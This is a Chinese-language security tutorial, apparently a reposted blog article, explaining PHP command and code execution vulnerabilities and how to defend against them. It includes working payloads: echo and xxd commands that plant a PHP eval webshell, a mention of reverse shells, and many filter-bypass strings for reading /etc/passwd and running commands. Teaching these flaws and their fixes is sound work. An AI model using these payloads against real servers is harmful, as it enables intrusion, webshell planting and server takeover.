命令执行原理
就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
漏洞成因
它所执行的命令会继承WebServer的权限,也就是说可以任意读取、修改、执行Web目录下的任何文件。能够进行命令执行的php函数一共有七个,分别是:system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),除函数外,倒引号(
)内的内容也可以进行命令执行
命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。
直接返回结果:
直接返回执行结果的有system()、exec()、shell_exec()、passthru()
<?php system('whoami'); ?>
返回文件指针:
popen()和proc_open()不会直接返回执行结果,而是返回文件指针。例如:
<?php popen('whoami >>C:/1.txt','r') ?>
这段程序执行后,我们可以在C盘根目录下看到1.txt文件,里面的内容是WebServer的用户名。在popen函数中,需要两个参数,一个是执行的命令,另一个是指针文件的连接模式,rw表示读写。
pcntl拓展
pcntl是linux下的一个扩展,可以支持php的多线程操作,pcntl_exec()函数必须在该拓展安装的情况下才能执行,平时比较少见
倒引号
倒引号也可以执行命令,原理是调用shell_exec函数,一个简单的例子:
<?php echo `whoami`; ?>
程序执行后会输出当前WebServer的用户名。
命令分隔符
windows: && || & |
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
linux: && || & | ;
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
命令执行漏洞利用
1、可尝试进行反弹shell,搭建服务执行wget下载webshell。
2、写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义
假设需要写入<?php eval($_POST[wang]); ?>,方法如下:
Windows:
用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web
web可写目录加文件完整名字
Linux:
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web
web可写目录加文件完整名字
后面命令注入也有时间盲注和sql注入很像
命令执行绕过技巧
1、Linux场景
1)通配符绕过:cat /et?/p?*sswd
*匹配零个或多个字符
?匹配任意单个字符
[0-9]匹配范围内的数字
[abc]匹配已出的任意字符
2)命令拼接:可以用&、&&、|、||这几种方式进行命令拼接
ls & cat /etc/passwd
3)注释符#进行绕过
cat /etc/passwd #anything
4)编码绕过
URL编码是web端进行命令执行绕过最常用的方法
cat%20%2Fetc%2Fpasswd
base64编码绕过:将想要执行的命令进行base64编码,然后添加到下面的双引号里面
echo "d2hvYW1p" | base64 -d | bash
5)$IFS空字符绕过
cat$IFS/etc/passwd
cat$IFS$1/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
6)字符拼接
cat /"e"tc/'p'a's'swd
7)转义拼接
\c\a\t /etc/passwd
8)命令拼接
a=ca;b=t;$a$b /etc/passwd
9)填充垃圾字符绕过
cat /etc/passwd xxx
666
whoami
66610)分号(;)
pwd;whoami
11)反引号``和$()
echo "result :
whoami
"echo "result : $(whoami)"
12)重定向绕过(可绕过空格)
cat<>1.txt
cat<1.txt
13)单引号和双引号
c""at 1.tx''t
14)反斜杠\绕过
c\a\t 1.t\x\t
15)$1、$@、$*绕过$1、$@、$*绕过
c$1a$1t 1.t$1$1x$1t
c$@a$@t 1.t$@x$@t
c$*a$*t 1.t$*x$*t
16)绕过长度限制
使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。
echo -n "cat " > r;
echo -n "/etc" >> r;
echo "/passwd" >> r;
cat r | bash
使用\绕过
ca\
t 1.t\
xt
17)逗号绕过空格
{cat,/etc/passwd}
18)\x20绕过
COMMAND=$'\x20-al';ls$COMMAND
COMMAND=$'\x20';ifconfig$COMMAND
COMMAND=$'\x20';whoami$COMMAND
COMMAND=$'\x20';id$COMMAND
COMMAND=$'\x20';pwd$COMMAND
19)环境变量绕过
打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。
echo ${PATH}
echo ${PATH:5:1}
echo ${PATH:2:1}
${PATH:5:1}${PATH:2:1}
20)文件名绕过
拼接文件名绕过
cat fl[abc]g.txt //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;b=l;c=ag;d=.txt;cat $a$b$c$d //内联执行,表示cat flag.txt
正则进行匹配
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
2、windows场景
1)type绕过命令执行(windows)
type.\flag.txt
type,flag.txt
2)使用特殊符号进行绕过
whoami
who^am^i
who""ami"i"
who""""ami
3)set命令绕过
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
4)使用ping绕过执行命令
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"
漏洞危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
防御措施
1、尽量不要使用系统执行命令,以免造成不必要的危害
2、在执行命令函数、方法前,变量一定要做好过滤,对敏感字符进行转义
3、使用动态函数之前,确保使用的函数是指定的函数,避免使用用户输入的函数
4、对PHP语言来说,不能完全控制的危险函数最好不要使用
PHP内置的两个函数可以有效防止命令执行:
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
代码执行漏洞原理
代码执行漏洞是指 攻击者利用 将字符串转化成代码的函数 , 进行代码注入
代码执行漏洞成因
代码执行漏洞主要有两种产生原因:代码执行函数和动态函数执行,在php中还存在双引号执行的情况。常见的导致代码执行的函数有:eval()、assert()、preg_replace()、call_user_func()、array_map()等,它们造成漏洞的原因也给不一致。
代码执行相关函数
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
Java: Java中没有php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。
漏洞分类
1.代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函来调用:
system("/bin/program --arg$arg");
2.系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)
3.调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
修复方案
1.尽量少用执行命令的函数或者直接禁用
2.参数值尽量使用引号包括
3.在使用动态函数之前,确保使用的函数是指定的函数之一
4.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
5.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
6.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
7.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
命令执行漏洞与代码执行漏洞的区别
1、命名执行漏洞:直接调用操作系统命令
命令执行漏洞原理:在操作系统中,"&、| 、||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
2、代码执行漏洞:靠执行脚本代码调用操作系统命令
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、poc_popen、escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。
代码执行漏洞是把代码注入到Web服务器中执行,而命令执行漏洞执行的系统命令
版权归原作者 Ays.Ie 所有, 如有侵权,请联系我们删除。